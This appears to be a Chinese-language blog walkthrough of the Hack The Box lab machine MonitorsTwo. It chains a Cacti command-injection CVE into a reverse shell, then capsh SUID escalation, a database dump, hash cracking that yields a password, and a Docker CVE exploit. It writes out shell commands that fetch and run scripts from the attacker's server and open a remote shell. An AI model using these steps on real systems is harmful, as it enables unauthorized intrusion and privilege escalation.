HTB-MonitorsTwo


HTB-MonitorsTwo

一、思路概要

1.信息收集发现Cacti框架存在CVE-2022-46169命令注入漏洞;

2.CVE-2022-46169命令注入获取www-data权限;

3.发现mysql数据库和带suid的文件capsh;

4.capsh提权到root(此root非彼root);

5.数据库查询发现ssh用户;

6.ssh用户连接上去,发现邮件,存在docker漏洞CVE-2021-41091;

7.docker漏洞提权到root。

二、信息收集

nmap扫描端口服务

80端口开放,那么访问web端

三、CVE-2022-46169(Cacti命令注入漏洞)

google关键字Cacti exploit

找到是CVE-2022-46169

exploit:https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22

本地开启监听,并执行exp

nc -lvnp 9898
python3 CVE-2022-46169.py -u http://10.10.11.211 --LHOST=10.10.14.4 --LPORT=9898

获取www-data权限

/var/www/html/下发现数据库文件cacti.sql,看到有admin用户密码,但实际无法登录主页

根目录有entrypoint.sh,可看到是mysql数据库,有一些数据库命令

执行如下命令,查找有suid权限的文件,看到/sbin/capsh,比较罕见

find / -perm -u=s -type f 2>/dev/null

在shell命令提权手册里找到提权用法如下

https://gtfobins.github.io/gtfobins/capsh/#suid

/sbin/capsh --gid=0 --uid=0 --

提权到了root,但是此root非彼root

看到上面有mysql命令,而且admin和guest用户都在user_auth表里,那么执行如下命令

mysql --host=db --user=root --password=root cacti -e "SELECT * FROM user_auth"

发现有另一个用户marcus,密码是hash存储,那就用john爆破一下

将hash保存到新文件hash里,执行如下命令,得到密码

john --wordlist=/usr/share/wordlists/rockyou.txt hash

marcus:funkymonkey

ssh连接

从本地下载linpeas

本地kali执行

python3 -m http.server 80

目标靶机执行

cd /tmp
wget http://10.10.14.4/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

发现有邮件

查看邮件

cat /var/mail/marcus

四、CVE-2021-41091(docker目录遍历&命令执行)

可看到有三个CVE,依次google查找利用方式,找到如下exploit,是docker容器的漏洞

https://github.com/UncleJ4ck/CVE-2021-41091

大致原理是,因为权限控制不当,当docker容器内存在带有suid的程序,我们可以在主机遍历到这个docker容器的目录,然后执行这些带suid的程序,相当于也在主机中执行了这些带suid的程序

需要先在之前的root窗口给/bin/bash添加suid权限

然后将exploit下载到本地,然后在目标靶机从本地下载exp.sh,执行如下命令

wget http://10.10.14.4/exp.sh
chmod +x exp.sh
./exp.sh

再进入到容器目录(在执行结果的Current Vulnerable Path处),执行./bin/bash -p

成功获取root权限


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录